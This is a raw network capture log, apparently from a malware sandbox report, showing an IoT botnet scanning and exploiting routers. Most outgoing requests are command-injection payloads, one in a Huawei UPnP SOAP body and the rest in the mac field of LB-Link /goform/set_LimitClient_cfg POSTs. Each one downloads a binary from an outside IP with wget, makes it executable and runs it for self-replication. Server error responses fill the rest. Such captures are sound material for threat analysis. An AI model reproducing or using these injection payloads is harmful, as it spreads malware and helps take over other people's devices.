3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.178.235.32 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Timestamp	Bytes transferred	Direction	Data
Feb 16, 2024 09:44:43.926095009 CET	236	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 16, 2024 09:44:44.468672991 CET	236	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;

Timestamp	Bytes transferred	Direction	Data
Feb 16, 2024 09:44:45.268325090 CET	236	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 16, 2024 09:44:45.428248882 CET	1286	IN	HTTP/1.1 400 Bad Request Server: squid/3.5.20 Mime-Version: 1.0 Date: Fri, 16 Feb 2024 09:00:59 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3470 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 73 71 75 69 64 2d 69 6e 74 65 72 6e 61 6c 2d 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 53 4e 2e 70 6e 67 27 29 20 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2016 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2016 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('/squid-internal-static/icons/SN.png')

Timestamp	Bytes transferred	Direction	Data
Feb 16, 2024 09:44:48.151896000 CET	236	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 16, 2024 09:44:48.264113903 CET	129	IN	HTTP/1.1 400 Bad Request Connection: close Date: Fri, 16 Feb 2024 08:44:48 GMT Transfer-Encoding: chunked Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
Feb 16, 2024 09:44:50.524225950 CET	236	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 16, 2024 09:44:50.761914968 CET	1286	IN	HTTP/1.1 400 Bad Request Connection: close Content-Type: text/html; charset=iso-8859-1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self'; Cache-Control: no-cache,no-store Pragma: no-cache Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 46 46 46 46 46 46 22 20 74 65 78 74 3d 22 23 30 30 30 30 30 30 22 20 6c 69 6e 6b 3d 22 23 32 30 32 30 66 66 22 20 76 6c 69 6e 6b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0a 59 6f 75 72 20 72 65 71 75 65 73 74 20 68 61 73 20 62 61 64 20 73 79 6e 74 61 78 20 6f 72 20 69 73 20 69 6e 68 65 72 65 6e 74 6c 79 20 69 6d 70 6f 73 73 69 62 6c 65 20 74 6f 20 73 61 74 69 73 66 79 2e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 0a 3c 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 49 46 5f 45 52 52 4f 52 53 54 52 3e 53 65 73 73 69 6f 6e 54 69 6d 65 6f 75 74 3c 2f 49 46 5f 45 52 52 4f 52 53 54 52 3e 0a 3c 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 0a 3c 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 0a 3c 2f 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 Data Ascii: <html> <head><title>400 Bad Request</title></head> <body bgcolor="#FFFFFF" text="#000000" link="#2020ff" vlink="#4040cc"> <h2>400 Bad Request</h2>Your request has bad syntax or is inherently impossible to satisfy.<div style="display:none"><ajax_response_xml_root><IF_ERRORSTR>SessionTimeout</IF_ERRORSTR><IF_ERRORPARAM>SUCC</IF_ERRORPARAM><IF_ERRORTYPE>SUCC</IF_ERRORTYPE></ajax_response_xml_root><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>P

Timestamp	Bytes transferred	Direction	Data
Feb 16, 2024 09:45:07.339071035 CET	236	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 16, 2024 09:45:07.426791906 CET	328	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 16 Feb 2024 08:45:07 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Timestamp	Bytes transferred	Direction	Data
Feb 16, 2024 09:45:07.558094025 CET	236	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 16, 2024 09:45:07.724793911 CET	242	IN	HTTP/1.1 403 Forbidden Server: CradlepointHTTPService/1.0.0 Content-Type: text/html; charset=UTF-8 Date: Fri, 16 Feb 2024 08:45:07 GMT Content-Length: 69 Data Raw: 3c 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 34 30 33 3a 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 62 6f 64 79 3e 34 30 33 3a 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><title>403: Forbidden</title><body>403: Forbidden</body></html>

Timestamp	Bytes transferred	Direction	Data
Feb 16, 2024 09:45:08.685909986 CET	224	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 16, 2024 09:45:09.112135887 CET	192	IN	HTTP/1.1 404 Not Found Content-Length: 0 X-NWS-LOG-UUID: 1961415943982849008 Connection: close Server: Lego Server Date: Fri, 16 Feb 2024 08:45:08 GMT X-Cache-Lookup: Return Directly

Timestamp	Bytes transferred	Direction	Data
Feb 16, 2024 09:45:10.314208984 CET	224	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 16, 2024 09:45:10.507776976 CET	392	IN	HTTP/1.1 400 Bad Request Date: Fri, 16 Feb 2024 08:45:09 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Timestamp	Bytes transferred	Direction	Data
Feb 16, 2024 09:45:10.812544107 CET	236	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 16, 2024 09:45:11.732299089 CET	236	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 16, 2024 09:45:14.240509033 CET	602	IN	HTTP/1.1 400 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 435 Date: Sun, 30 Oct 2011 11:43:54 GMT Connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 